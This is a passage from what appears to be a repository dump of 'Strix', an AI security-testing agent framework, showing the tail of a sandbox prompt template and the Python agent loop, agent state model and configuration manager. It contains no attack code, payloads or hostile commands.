NOT available inside the sandbox. Do not run docker; rely on provided tools to run locally.\n- You can install any additional tools/packages needed based on the task/context using package managers (apt, pip, npm, go install, etc.)\n\nDirectories:\n- /workspace - where you should work.\n- /home/pentester/tools - Additional tool scripts\n- /home/pentester/tools/wordlists - Currently empty, but you should download wordlists here when you need.\n\nDefault user: pentester (sudo available)\n</environment>\n\n{% if loaded_skill_names %}\n<specialized_knowledge>\n{% for skill_name in loaded_skill_names %}\n<{{ skill_name }}>\n{{ get_skill(skill_name) }}\n</{{ skill_name }}>\n{% endfor %}\n</specialized_knowledge>\n{% endif %}\n"
  },
  {
    "path": "strix/agents/__init__.py",
    "content": "from .base_agent import BaseAgent\nfrom .state import AgentState\nfrom .StrixAgent import StrixAgent\n\n\n__all__ = [\n    \"AgentState\",\n    \"BaseAgent\",\n    \"StrixAgent\",\n]\n"
  },
  {
    "path": "strix/agents/base_agent.py",
    "content": "import asyncio\nimport contextlib\nimport logging\nfrom typing import TYPE_CHECKING, Any, Optional\n\n\nif TYPE_CHECKING:\n    from strix.telemetry.tracer import Tracer\n\nfrom jinja2 import (\n    Environment,\n    FileSystemLoader,\n    select_autoescape,\n)\n\nfrom strix.llm import LLM, LLMConfig, LLMRequestFailedError\nfrom strix.llm.utils import clean_content\nfrom strix.runtime import SandboxInitializationError\nfrom strix.tools import process_tool_invocations\nfrom strix.utils.resource_paths import get_strix_resource_path\n\nfrom .state import AgentState\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass AgentMeta(type):\n    agent_name: str\n    jinja_env: Environment\n\n    def __new__(cls, name: str, bases: tuple[type, ...], attrs: dict[str, Any]) -> type:\n        new_cls = super().__new__(cls, name, bases, attrs)\n\n        if name == \"BaseAgent\":\n            return new_cls\n\n        prompt_dir = get_strix_resource_path(\"agents\", name)\n\n        new_cls.agent_name = name\n        new_cls.jinja_env = Environment(\n            loader=FileSystemLoader(prompt_dir),\n            autoescape=select_autoescape(enabled_extensions=(), default_for_string=False),\n        )\n\n        return new_cls\n\n\nclass BaseAgent(metaclass=AgentMeta):\n    max_iterations = 300\n    agent_name: str = \"\"\n    jinja_env: Environment\n    default_llm_config: LLMConfig | None = None\n\n    def __init__(self, config: dict[str, Any]):\n        self.config = config\n\n        self.local_sources = config.get(\"local_sources\", [])\n\n        if \"max_iterations\" in config:\n            self.max_iterations = config[\"max_iterations\"]\n\n        self.llm_config_name = config.get(\"llm_config_name\", \"default\")\n        self.llm_config = config.get(\"llm_config\", self.default_llm_config)\n        if self.llm_config is None:\n            raise ValueError(\"llm_config is required but not provided\")\n        state_from_config = config.get(\"state\")\n        if state_from_config is not None:\n            self.state = state_from_config\n        else:\n            self.state = AgentState(\n                agent_name=\"Root Agent\",\n                max_iterations=self.max_iterations,\n            )\n\n        self.interactive = getattr(self.llm_config, \"interactive\", False)\n        if self.interactive and self.state.parent_id is None:\n            self.state.waiting_timeout = 0\n        self.llm = LLM(self.llm_config, agent_name=self.agent_name)\n\n        with contextlib.suppress(Exception):\n            self.llm.set_agent_identity(self.state.agent_name, self.state.agent_id)\n        self._current_task: asyncio.Task[Any] | None = None\n        self._force_stop = False\n\n        from strix.telemetry.tracer import get_global_tracer\n\n        tracer = get_global_tracer()\n        if tracer:\n            tracer.log_agent_creation(\n                agent_id=self.state.agent_id,\n                name=self.state.agent_name,\n                task=self.state.task,\n                parent_id=self.state.parent_id,\n            )\n            if self.state.parent_id is None:\n                scan_config = tracer.scan_config or {}\n                exec_id = tracer.log_tool_execution_start(\n                    agent_id=self.state.agent_id,\n                    tool_name=\"scan_start_info\",\n                    args=scan_config,\n                )\n                tracer.update_tool_execution(execution_id=exec_id, status=\"completed\", result={})\n\n            else:\n                exec_id = tracer.log_tool_execution_start(\n                    agent_id=self.state.agent_id,\n                    tool_name=\"subagent_start_info\",\n                    args={\n                        \"name\": self.state.agent_name,\n                        \"task\": self.state.task,\n                        \"parent_id\": self.state.parent_id,\n                    },\n                )\n                tracer.update_tool_execution(execution_id=exec_id, status=\"completed\", result={})\n\n        self._add_to_agents_graph()\n\n    def _add_to_agents_graph(self) -> None:\n        from strix.tools.agents_graph import agents_graph_actions\n\n        node = {\n            \"id\": self.state.agent_id,\n            \"name\": self.state.agent_name,\n            \"task\": self.state.task,\n            \"status\": \"running\",\n            \"parent_id\": self.state.parent_id,\n            \"created_at\": self.state.start_time,\n            \"finished_at\": None,\n            \"result\": None,\n            \"llm_config\": self.llm_config_name,\n            \"agent_type\": self.__class__.__name__,\n            \"state\": self.state.model_dump(),\n        }\n        agents_graph_actions._agent_graph[\"nodes\"][self.state.agent_id] = node\n\n        agents_graph_actions._agent_instances[self.state.agent_id] = self\n        agents_graph_actions._agent_states[self.state.agent_id] = self.state\n\n        if self.state.parent_id:\n            agents_graph_actions._agent_graph[\"edges\"].append(\n                {\"from\": self.state.parent_id, \"to\": self.state.agent_id, \"type\": \"delegation\"}\n            )\n\n        if self.state.agent_id not in agents_graph_actions._agent_messages:\n            agents_graph_actions._agent_messages[self.state.agent_id] = []\n\n        if self.state.parent_id is None and agents_graph_actions._root_agent_id is None:\n            agents_graph_actions._root_agent_id = self.state.agent_id\n\n    async def agent_loop(self, task: str) -> dict[str, Any]:  # noqa: PLR0912, PLR0915\n        from strix.telemetry.tracer import get_global_tracer\n\n        tracer = get_global_tracer()\n\n        try:\n            await self._initialize_sandbox_and_state(task)\n        except SandboxInitializationError as e:\n            return self._handle_sandbox_error(e, tracer)\n\n        while True:\n            if self._force_stop:\n                self._force_stop = False\n                await self._enter_waiting_state(tracer, was_cancelled=True)\n                continue\n\n            self._check_agent_messages(self.state)\n\n            if self.state.is_waiting_for_input():\n                await self._wait_for_input()\n                continue\n\n            if self.state.should_stop():\n                if not self.interactive:\n                    return self.state.final_result or {}\n                await self._enter_waiting_state(tracer)\n                continue\n\n            if self.state.llm_failed:\n                await self._wait_for_input()\n                continue\n\n            self.state.increment_iteration()\n\n            if (\n                self.state.is_approaching_max_iterations()\n                and not self.state.max_iterations_warning_sent\n            ):\n                self.state.max_iterations_warning_sent = True\n                remaining = self.state.max_iterations - self.state.iteration\n                warning_msg = (\n                    f\"URGENT: You are approaching the maximum iteration limit. \"\n                    f\"Current: {self.state.iteration}/{self.state.max_iterations} \"\n                    f\"({remaining} iterations remaining). \"\n                    f\"Please prioritize completing your required task(s) and calling \"\n                    f\"the appropriate finish tool (finish_scan for root agent, \"\n                    f\"agent_finish for sub-agents) as soon as possible.\"\n                )\n                self.state.add_message(\"user\", warning_msg)\n\n            if self.state.iteration == self.state.max_iterations - 3:\n                final_warning_msg = (\n                    \"CRITICAL: You have only 3 iterations left! \"\n                    \"Your next message MUST be the tool call to the appropriate \"\n                    \"finish tool: finish_scan if you are the root agent, or \"\n                    \"agent_finish if you are a sub-agent. \"\n                    \"No other actions should be taken except finishing your work \"\n                    \"immediately.\"\n                )\n                self.state.add_message(\"user\", final_warning_msg)\n\n            try:\n                iteration_task = asyncio.create_task(self._process_iteration(tracer))\n                self._current_task = iteration_task\n                should_finish = await iteration_task\n                self._current_task = None\n\n                if should_finish is None and self.interactive:\n                    await self._enter_waiting_state(tracer, text_response=True)\n                    continue\n\n                if should_finish:\n                    if not self.interactive:\n                        self.state.set_completed({\"success\": True})\n                        if tracer:\n                            tracer.update_agent_status(self.state.agent_id, \"completed\")\n                        return self.state.final_result or {}\n                    await self._enter_waiting_state(tracer, task_completed=True)\n                    continue\n\n            except asyncio.CancelledError:\n                self._current_task = None\n                if tracer:\n                    partial_content = tracer.finalize_streaming_as_interrupted(self.state.agent_id)\n                    if partial_content and partial_content.strip():\n                        self.state.add_message(\n                            \"assistant\", f\"{partial_content}\\n\\n[ABORTED BY USER]\"\n                        )\n                if not self.interactive:\n                    raise\n                await self._enter_waiting_state(tracer, error_occurred=False, was_cancelled=True)\n                continue\n\n            except LLMRequestFailedError as e:\n                result = self._handle_llm_error(e, tracer)\n                if result is not None:\n                    return result\n                continue\n\n            except (RuntimeError, ValueError, TypeError) as e:\n                if not await self._handle_iteration_error(e, tracer):\n                    if not self.interactive:\n                        self.state.set_completed({\"success\": False, \"error\": str(e)})\n                        if tracer:\n                            tracer.update_agent_status(self.state.agent_id, \"failed\")\n                        raise\n                    await self._enter_waiting_state(tracer, error_occurred=True)\n                    continue\n\n    async def _wait_for_input(self) -> None:\n        if self._force_stop:\n            return\n\n        if self.state.has_waiting_timeout():\n            self.state.resume_from_waiting()\n            self.state.add_message(\"user\", \"Waiting timeout reached. Resuming execution.\")\n\n            from strix.telemetry.tracer import get_global_tracer\n\n            tracer = get_global_tracer()\n            if tracer:\n                tracer.update_agent_status(self.state.agent_id, \"running\")\n\n            try:\n                from strix.tools.agents_graph.agents_graph_actions import _agent_graph\n\n                if self.state.agent_id in _agent_graph[\"nodes\"]:\n                    _agent_graph[\"nodes\"][self.state.agent_id][\"status\"] = \"running\"\n            except (ImportError, KeyError):\n                pass\n\n            return\n\n        await asyncio.sleep(0.5)\n\n    async def _enter_waiting_state(\n        self,\n        tracer: Optional[\"Tracer\"],\n        task_completed: bool = False,\n        error_occurred: bool = False,\n        was_cancelled: bool = False,\n        text_response: bool = False,\n    ) -> None:\n        self.state.enter_waiting_state()\n\n        if tracer:\n            if text_response:\n                tracer.update_agent_status(self.state.agent_id, \"waiting_for_input\")\n            elif task_completed:\n                tracer.update_agent_status(self.state.agent_id, \"completed\")\n            elif error_occurred:\n                tracer.update_agent_status(self.state.agent_id, \"error\")\n            elif was_cancelled:\n                tracer.update_agent_status(self.state.agent_id, \"stopped\")\n            else:\n                tracer.update_agent_status(self.state.agent_id, \"stopped\")\n\n        if text_response:\n            return\n\n        if task_completed:\n            self.state.add_message(\n                \"assistant\",\n                \"Task completed. I'm now waiting for follow-up instructions or new tasks.\",\n            )\n        elif error_occurred:\n            self.state.add_message(\n                \"assistant\", \"An error occurred. I'm now waiting for new instructions.\"\n            )\n        elif was_cancelled:\n            self.state.add_message(\n                \"assistant\", \"Execution was cancelled. I'm now waiting for new instructions.\"\n            )\n        else:\n            self.state.add_message(\n                \"assistant\",\n                \"Execution paused. I'm now waiting for new instructions or any updates.\",\n            )\n\n    async def _initialize_sandbox_and_state(self, task: str) -> None:\n        import os\n\n        sandbox_mode = os.getenv(\"STRIX_SANDBOX_MODE\", \"false\").lower() == \"true\"\n        if not sandbox_mode and self.state.sandbox_id is None:\n            from strix.runtime import get_runtime\n\n            try:\n                runtime = get_runtime()\n                sandbox_info = await runtime.create_sandbox(\n                    self.state.agent_id, self.state.sandbox_token, self.local_sources\n                )\n                self.state.sandbox_id = sandbox_info[\"workspace_id\"]\n                self.state.sandbox_token = sandbox_info[\"auth_token\"]\n                self.state.sandbox_info = sandbox_info\n\n                if \"agent_id\" in sandbox_info:\n                    self.state.sandbox_info[\"agent_id\"] = sandbox_info[\"agent_id\"]\n\n                caido_port = sandbox_info.get(\"caido_port\")\n                if caido_port:\n                    from strix.telemetry.tracer import get_global_tracer\n\n                    tracer = get_global_tracer()\n                    if tracer:\n                        tracer.caido_url = f\"localhost:{caido_port}\"\n            except Exception as e:\n                from strix.telemetry import posthog\n\n                posthog.error(\"sandbox_init_error\", str(e))\n                raise\n\n        if not self.state.task:\n            self.state.task = task\n\n        self.state.add_message(\"user\", task)\n\n    async def _process_iteration(self, tracer: Optional[\"Tracer\"]) -> bool | None:\n        final_response = None\n\n        async for response in self.llm.generate(self.state.get_conversation_history()):\n            final_response = response\n            if tracer and response.content:\n                tracer.update_streaming_content(self.state.agent_id, response.content)\n\n        if final_response is None:\n            return False\n\n        content_stripped = (final_response.content or \"\").strip()\n\n        if not content_stripped:\n            corrective_message = (\n                \"You MUST NOT respond with empty messages. \"\n                \"If you currently have nothing to do or say, use an appropriate tool instead:\\n\"\n                \"- Use agents_graph_actions.wait_for_message to wait for messages \"\n                \"from user or other agents\\n\"\n                \"- Use agents_graph_actions.agent_finish if you are a sub-agent \"\n                \"and your task is complete\\n\"\n                \"- Use finish_actions.finish_scan if you are the root/main agent \"\n                \"and the scan is complete\"\n            )\n            self.state.add_message(\"user\", corrective_message)\n            return False\n\n        thinking_blocks = getattr(final_response, \"thinking_blocks\", None)\n        self.state.add_message(\"assistant\", final_response.content, thinking_blocks=thinking_blocks)\n        if tracer:\n            tracer.clear_streaming_content(self.state.agent_id)\n            tracer.log_chat_message(\n                content=clean_content(final_response.content),\n                role=\"assistant\",\n                agent_id=self.state.agent_id,\n            )\n\n        actions = (\n            final_response.tool_invocations\n            if hasattr(final_response, \"tool_invocations\") and final_response.tool_invocations\n            else []\n        )\n\n        if actions:\n            return await self._execute_actions(actions, tracer)\n\n        return None\n\n    async def _execute_actions(self, actions: list[Any], tracer: Optional[\"Tracer\"]) -> bool:\n        \"\"\"Execute actions and return True if agent should finish.\"\"\"\n        for action in actions:\n            self.state.add_action(action)\n\n        conversation_history = self.state.get_conversation_history()\n\n        tool_task = asyncio.create_task(\n            process_tool_invocations(actions, conversation_history, self.state)\n        )\n        self._current_task = tool_task\n\n        try:\n            should_agent_finish = await tool_task\n            self._current_task = None\n        except asyncio.CancelledError:\n            self._current_task = None\n            self.state.add_error(\"Tool execution cancelled by user\")\n            raise\n\n        self.state.messages = conversation_history\n\n        if should_agent_finish:\n            self.state.set_completed({\"success\": True})\n            if tracer:\n                tracer.update_agent_status(self.state.agent_id, \"completed\")\n            if not self.interactive and self.state.parent_id is None:\n                return True\n            return True\n\n        return False\n\n    def _check_agent_messages(self, state: AgentState) -> None:  # noqa: PLR0912\n        try:\n            from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages\n\n            agent_id = state.agent_id\n            if not agent_id or agent_id not in _agent_messages:\n                return\n\n            messages = _agent_messages[agent_id]\n            if messages:\n                has_new_messages = False\n                for message in messages:\n                    if not message.get(\"read\", False):\n                        sender_id = message.get(\"from\")\n\n                        if state.is_waiting_for_input():\n                            if state.llm_failed:\n                                if sender_id == \"user\":\n                                    state.resume_from_waiting()\n                                    has_new_messages = True\n\n                                    from strix.telemetry.tracer import get_global_tracer\n\n                                    tracer = get_global_tracer()\n                                    if tracer:\n                                        tracer.update_agent_status(state.agent_id, \"running\")\n                            else:\n                                state.resume_from_waiting()\n                                has_new_messages = True\n\n                                from strix.telemetry.tracer import get_global_tracer\n\n                                tracer = get_global_tracer()\n                                if tracer:\n                                    tracer.update_agent_status(state.agent_id, \"running\")\n\n                        if sender_id == \"user\":\n                            sender_name = \"User\"\n                            state.add_message(\"user\", message.get(\"content\", \"\"))\n                        else:\n                            if sender_id and sender_id in _agent_graph.get(\"nodes\", {}):\n                                sender_name = _agent_graph[\"nodes\"][sender_id][\"name\"]\n\n                            message_content = f\"\"\"<inter_agent_message>\n    <delivery_notice>\n        <important>You have received a message from another agent. You should acknowledge\n        this message and respond appropriately based on its content. However, DO NOT echo\n        back or repeat the entire message structure in your response. Simply process the\n        content and respond naturally as/if needed.</important>\n    </delivery_notice>\n    <sender>\n        <agent_name>{sender_name}</agent_name>\n        <agent_id>{sender_id}</agent_id>\n    </sender>\n    <message_metadata>\n        <type>{message.get(\"message_type\", \"information\")}</type>\n        <priority>{message.get(\"priority\", \"normal\")}</priority>\n        <timestamp>{message.get(\"timestamp\", \"\")}</timestamp>\n    </message_metadata>\n    <content>\n{message.get(\"content\", \"\")}\n    </content>\n    <delivery_info>\n        <note>This message was delivered during your task execution.\n        Please acknowledge and respond if needed.</note>\n    </delivery_info>\n</inter_agent_message>\"\"\"\n                            state.add_message(\"user\", message_content.strip())\n\n                        message[\"read\"] = True\n\n                if has_new_messages and not state.is_waiting_for_input():\n                    from strix.telemetry.tracer import get_global_tracer\n\n                    tracer = get_global_tracer()\n                    if tracer:\n                        tracer.update_agent_status(agent_id, \"running\")\n\n        except (AttributeError, KeyError, TypeError) as e:\n            import logging\n\n            logger = logging.getLogger(__name__)\n            logger.warning(f\"Error checking agent messages: {e}\")\n            return\n\n    def _handle_sandbox_error(\n        self,\n        error: SandboxInitializationError,\n        tracer: Optional[\"Tracer\"],\n    ) -> dict[str, Any]:\n        error_msg = str(error.message)\n        error_details = error.details\n        self.state.add_error(error_msg)\n\n        if not self.interactive:\n            self.state.set_completed({\"success\": False, \"error\": error_msg})\n            if tracer:\n                tracer.update_agent_status(self.state.agent_id, \"failed\", error_msg)\n                if error_details:\n                    exec_id = tracer.log_tool_execution_start(\n                        self.state.agent_id,\n                        \"sandbox_error_details\",\n                        {\"error\": error_msg, \"details\": error_details},\n                    )\n                    tracer.update_tool_execution(exec_id, \"failed\", {\"details\": error_details})\n            return {\"success\": False, \"error\": error_msg, \"details\": error_details}\n\n        self.state.enter_waiting_state()\n        if tracer:\n            tracer.update_agent_status(self.state.agent_id, \"sandbox_failed\", error_msg)\n            if error_details:\n                exec_id = tracer.log_tool_execution_start(\n                    self.state.agent_id,\n                    \"sandbox_error_details\",\n                    {\"error\": error_msg, \"details\": error_details},\n                )\n                tracer.update_tool_execution(exec_id, \"failed\", {\"details\": error_details})\n\n        return {\"success\": False, \"error\": error_msg, \"details\": error_details}\n\n    def _handle_llm_error(\n        self,\n        error: LLMRequestFailedError,\n        tracer: Optional[\"Tracer\"],\n    ) -> dict[str, Any] | None:\n        error_msg = str(error)\n        error_details = getattr(error, \"details\", None)\n        self.state.add_error(error_msg)\n\n        if not self.interactive:\n            self.state.set_completed({\"success\": False, \"error\": error_msg})\n            if tracer:\n                tracer.update_agent_status(self.state.agent_id, \"failed\", error_msg)\n                if error_details:\n                    exec_id = tracer.log_tool_execution_start(\n                        self.state.agent_id,\n                        \"llm_error_details\",\n                        {\"error\": error_msg, \"details\": error_details},\n                    )\n                    tracer.update_tool_execution(exec_id, \"failed\", {\"details\": error_details})\n            return {\"success\": False, \"error\": error_msg}\n\n        self.state.enter_waiting_state(llm_failed=True)\n        if tracer:\n            tracer.update_agent_status(self.state.agent_id, \"llm_failed\", error_msg)\n            if error_details:\n                exec_id = tracer.log_tool_execution_start(\n                    self.state.agent_id,\n                    \"llm_error_details\",\n                    {\"error\": error_msg, \"details\": error_details},\n                )\n                tracer.update_tool_execution(exec_id, \"failed\", {\"details\": error_details})\n\n        return None\n\n    async def _handle_iteration_error(\n        self,\n        error: RuntimeError | ValueError | TypeError | asyncio.CancelledError,\n        tracer: Optional[\"Tracer\"],\n    ) -> bool:\n        error_msg = f\"Error in iteration {self.state.iteration}: {error!s}\"\n        logger.exception(error_msg)\n        self.state.add_error(error_msg)\n        if tracer:\n            tracer.update_agent_status(self.state.agent_id, \"error\")\n        return True\n\n    def cancel_current_execution(self) -> None:\n        self._force_stop = True\n        if self._current_task and not self._current_task.done():\n            try:\n                loop = self._current_task.get_loop()\n                loop.call_soon_threadsafe(self._current_task.cancel)\n            except RuntimeError:\n                self._current_task.cancel()\n        self._current_task = None\n"
  },
  {
    "path": "strix/agents/state.py",
    "content": "import uuid\nfrom datetime import UTC, datetime\nfrom typing import Any\n\nfrom pydantic import BaseModel, Field\n\n\ndef _generate_agent_id() -> str:\n    return f\"agent_{uuid.uuid4().hex[:8]}\"\n\n\nclass AgentState(BaseModel):\n    agent_id: str = Field(default_factory=_generate_agent_id)\n    agent_name: str = \"Strix Agent\"\n    parent_id: str | None = None\n    sandbox_id: str | None = None\n    sandbox_token: str | None = None\n    sandbox_info: dict[str, Any] | None = None\n\n    task: str = \"\"\n    iteration: int = 0\n    max_iterations: int = 300\n    completed: bool = False\n    stop_requested: bool = False\n    waiting_for_input: bool = False\n    llm_failed: bool = False\n    waiting_start_time: datetime | None = None\n    waiting_timeout: int = 600\n    final_result: dict[str, Any] | None = None\n    max_iterations_warning_sent: bool = False\n\n    messages: list[dict[str, Any]] = Field(default_factory=list)\n    context: dict[str, Any] = Field(default_factory=dict)\n\n    start_time: str = Field(default_factory=lambda: datetime.now(UTC).isoformat())\n    last_updated: str = Field(default_factory=lambda: datetime.now(UTC).isoformat())\n\n    actions_taken: list[dict[str, Any]] = Field(default_factory=list)\n    observations: list[dict[str, Any]] = Field(default_factory=list)\n\n    errors: list[str] = Field(default_factory=list)\n\n    def increment_iteration(self) -> None:\n        self.iteration += 1\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def add_message(\n        self, role: str, content: Any, thinking_blocks: list[dict[str, Any]] | None = None\n    ) -> None:\n        message = {\"role\": role, \"content\": content}\n        if thinking_blocks:\n            message[\"thinking_blocks\"] = thinking_blocks\n        self.messages.append(message)\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def add_action(self, action: dict[str, Any]) -> None:\n        self.actions_taken.append(\n            {\n                \"iteration\": self.iteration,\n                \"timestamp\": datetime.now(UTC).isoformat(),\n                \"action\": action,\n            }\n        )\n\n    def add_observation(self, observation: dict[str, Any]) -> None:\n        self.observations.append(\n            {\n                \"iteration\": self.iteration,\n                \"timestamp\": datetime.now(UTC).isoformat(),\n                \"observation\": observation,\n            }\n        )\n\n    def add_error(self, error: str) -> None:\n        self.errors.append(f\"Iteration {self.iteration}: {error}\")\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def update_context(self, key: str, value: Any) -> None:\n        self.context[key] = value\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def set_completed(self, final_result: dict[str, Any] | None = None) -> None:\n        self.completed = True\n        self.final_result = final_result\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def request_stop(self) -> None:\n        self.stop_requested = True\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def should_stop(self) -> bool:\n        return self.stop_requested or self.completed or self.has_reached_max_iterations()\n\n    def is_waiting_for_input(self) -> bool:\n        return self.waiting_for_input\n\n    def enter_waiting_state(self, llm_failed: bool = False) -> None:\n        self.waiting_for_input = True\n        self.waiting_start_time = datetime.now(UTC)\n        self.llm_failed = llm_failed\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def resume_from_waiting(self, new_task: str | None = None) -> None:\n        self.waiting_for_input = False\n        self.waiting_start_time = None\n        self.stop_requested = False\n        self.completed = False\n        self.llm_failed = False\n        if new_task:\n            self.task = new_task\n        self.last_updated = datetime.now(UTC).isoformat()\n\n    def has_reached_max_iterations(self) -> bool:\n        return self.iteration >= self.max_iterations\n\n    def is_approaching_max_iterations(self, threshold: float = 0.85) -> bool:\n        return self.iteration >= int(self.max_iterations * threshold)\n\n    def has_waiting_timeout(self) -> bool:\n        if self.waiting_timeout == 0:\n            return False\n\n        if not self.waiting_for_input or not self.waiting_start_time:\n            return False\n\n        if (\n            self.stop_requested\n            or self.llm_failed\n            or self.completed\n            or self.has_reached_max_iterations()\n        ):\n            return False\n\n        elapsed = (datetime.now(UTC) - self.waiting_start_time).total_seconds()\n        return elapsed > self.waiting_timeout\n\n    def has_empty_last_messages(self, count: int = 3) -> bool:\n        if len(self.messages) < count:\n            return False\n\n        last_messages = self.messages[-count:]\n\n        for message in last_messages:\n            content = message.get(\"content\", \"\")\n            if isinstance(content, str) and content.strip():\n                return False\n\n        return True\n\n    def get_conversation_history(self) -> list[dict[str, Any]]:\n        return self.messages\n\n    def get_execution_summary(self) -> dict[str, Any]:\n        return {\n            \"agent_id\": self.agent_id,\n            \"agent_name\": self.agent_name,\n            \"parent_id\": self.parent_id,\n            \"sandbox_id\": self.sandbox_id,\n            \"sandbox_info\": self.sandbox_info,\n            \"task\": self.task,\n            \"iteration\": self.iteration,\n            \"max_iterations\": self.max_iterations,\n            \"completed\": self.completed,\n            \"final_result\": self.final_result,\n            \"start_time\": self.start_time,\n            \"last_updated\": self.last_updated,\n            \"total_actions\": len(self.actions_taken),\n            \"total_observations\": len(self.observations),\n            \"total_errors\": len(self.errors),\n            \"has_errors\": len(self.errors) > 0,\n            \"max_iterations_reached\": self.has_reached_max_iterations() and not self.completed,\n        }\n"
  },
  {
    "path": "strix/config/__init__.py",
    "content": "from strix.config.config import (\n    Config,\n    apply_saved_config,\n    save_current_config,\n)\n\n\n__all__ = [\n    \"Config\",\n    \"apply_saved_config\",\n    \"save_current_config\",\n]\n"
  },
  {
    "path": "strix/config/config.py",
    "content": "import contextlib\nimport json\nimport os\nfrom pathlib import Path\nfrom typing import Any\n\n\nSTRIX_API_BASE = \"https://models.strix.ai/api/v1\"\n\n\nclass Config:\n    \"\"\"Configuration Manager for Strix.\"\"\"\n\n    # LLM Configuration\n    strix_llm = None\n    llm_api_key = None\n    llm_api_base = None\n    openai_api_base = None\n    litellm_base_url = None\n    ollama_api_base = None\n    strix_reasoning_effort = \"high\"\n    strix_llm_max_retries = \"5\"\n    strix_memory_compressor_timeout = \"30\"\n    llm_timeout = \"300\"\n    _LLM_CANONICAL_NAMES = (\n        \"strix_llm\",\n        \"llm_api_key\",\n        \"llm_api_base\",\n        \"openai_api_base\",\n        \"litellm_base_url\",\n        \"ollama_api_base\",\n        \"strix_reasoning_effort\",\n        \"strix_llm_max_retries\",\n        \"strix_memory_compressor_timeout\",\n        \"llm_timeout\",\n    )\n\n    # Tool & Feature Configuration\n    perplexity_api_key = None\n    strix_disable_browser = \"false\"\n\n    # Runtime Configuration\n    strix_image = \"ghcr.io/usestrix/strix-sandbox:0.1.12\"\n    strix_runtime_backend = \"docker\"\n    strix_sandbox_execution_timeout = \"120\"\n    strix_sandbox_connect_timeout = \"10\"\n\n    # Telemetry\n    strix_telemetry = \"1\"\n    strix_otel_telemetry = None\n    strix_posthog_telemetry = None\n    traceloop_base_url = None\n    traceloop_api_key = None\n    traceloop_headers = None\n\n    # Config file override (set via --config CLI arg)\n    _config_file_override: Path | None = None\n\n    @classmethod\n    def _tracked_names(cls) -> list[str]:\n        return [\n            k\n            for k, v in vars(cls).items()\n            if not k.startswith(\"_\") and k[0].islower() and (v is None or isinstance(v, str))\n        ]\n\n    @classmethod\n    def tracked_vars(cls) -> list[str]:\n        return [name.upper() for name in cls._tracked_names()]\n\n    @classmethod\n    def _llm_env_vars(cls) -> set[str]:\n        return {name.upper() for name in cls._LLM_CANONICAL_NAMES}\n\n    @classmethod\n    def _llm_env_changed(cls, saved_env: dict[str, Any]) -> bool:\n        for var_name in cls._llm_env_vars():\n            current = os.getenv(var_name)\n            if current is None:\n                continue\n            if saved_env.get(var_name) != current:\n                return True\n        return False\n\n    @classmethod\n    def get(cls, name: str) -> str | None:\n        env_name = name.upper()\n        default = getattr(cls, name, None)\n        return os.getenv(env_name, default)\n\n    @classmethod\n    def config_dir(cls) -> Path:\n        return Path.home() / \".strix\"\n\n    @classmethod\n    def config_file(cls) -> Path:\n        if cls._config_file_override is not None:\n            return cls._config_file_override\n        return cls.config_dir() / \"cli-config.json\"\n\n    @classmethod\n    def load(cls) -> dict[str, Any]:\n        path = cls.config_file()\n        if not path.exists():\n            return {}\n        try:\n            with path.open(\"r\", encoding=\"utf-8\") as f:\n                data: dict[str, Any] = json.load(f)\n                return data\n        except (json.JSONDecodeError, OSError):\n            return {}\n\n    @classmethod\n    def save(cls, config: dict[str, Any]) -> bool:\n        try:\n            cls.config_dir().mkdir(parents=True, exist_ok=True)\n            config_path = cls.config_dir() / \"cli-config.json\"\n            with config_path.open(\"w\", encoding=\"utf-8\") as f:\n                json.dump(config, f, indent=2)\n        except OSError:\n            return False\n        with contextlib.suppress(OSError):\n            config_path.chmod(0o600)  # may fail on Windows\n        return True\n\n    @classmethod\n    def apply_saved(cls, force: bool = False) -> dict[str, str]:\n        saved = cls.load()\n        env_vars = saved.get(\"env\", {})\n        if not isinstance(env_vars, dict):\n            env_vars = {}\n        cleared_vars = {\n            var_name\n            for var_name in cls.tracked_vars()\n            if var_name in os.environ and os.environ.get(var_name) == \"\"\n        }\n        if cleared_vars:\n            for var_name in cleared_vars:\n                env_vars.pop(var_name, None)\n            if cls._config_file_override is None:\n                cls.save({\"env\": env_vars})\n        if cls._llm_env_changed(env_vars):\n            for var_name in cls._llm_env_vars():\n                env_vars.pop(var_name, None)\n            if cls._config_file_override is None:\n                cls.save({\"env\": env_vars})\n        applied = {}\n\n        for var_name, var_value in env_vars.items():\n            if var_name in cls.tracked_vars() and (force or var_name not in os.environ):\n                os.environ[var_name] = var_value\n                applied[var_name] = var_value\n\n        return applied\n\n    @classmethod\n    def capture_current(cls) -> dict[str, Any]:\n        env_vars = {}\n        for var_name in cls.tracked_vars():\n            value = os.getenv(var_name)\n            if value:\n                env_vars[var_name] = value\n        return {\"env\": env_vars}\n\n    @classmethod\n    def save_current(cls) -> bool:\n        existing = cls.load().get(\"env\", {})\n        merged = dict(existing)\n\n        for var_name in cls.tracked_vars():\n            value = os.getenv(var_name)\n            if value is None:\n                pass\n            elif value == \"\":\n                merged.pop(var_name, None)\n            else:\n                merged[var_name] = value\n\n        return cls.save({\"env\": merged})\n\n\ndef apply_saved_config(force: bool = False) -> dict[str, str]:\n    return Config.apply_saved(force=force)\n\n\ndef save_current_config() -> bool:\n    return Config.save_current()\n\n\ndef resolve_llm_config() -> tuple[str | None, str | None, str | None]:\n    \"\"\"Resolve LLM model, api_key, and api_base based on STRIX_LLM prefix.\n\n    Returns:\n        tuple: (model_name, api_key, api_base)\n        - model_name: Original model name (strix/ prefix preserved for display)\n        - api_key: LLM API key\n        - api_base: API base URL (auto-set to STRIX_API_BASE for strix/ models)\n    \"\"\"\n    model = Config.get(\"strix_llm\")\n    if not model:\n        return None, None, None\n\n    api_key = Config.get(\"llm_api_key\")\n\n    if model.startswith(\"strix/\"):\n        api_base: str | None = STRIX_API_BASE\n    else:\n        api_base = (\n            Config.get(\"llm_api_base\")\n            or Config.get(\"openai_api_base\")\n            or Config.get(\"litellm_base_url\")\n            or Config.get(\"ollama_api_base\")\n        )\n\n    return model, api_key, api_base\n"
  },
  {
    "path": "strix/interface/__init__.py",
    "content": "from .main import main\n\n\n__all__ = [\"main\"]\n"
  },
  {
    "path": "strix/interface/assets/tui_styles.tcss",
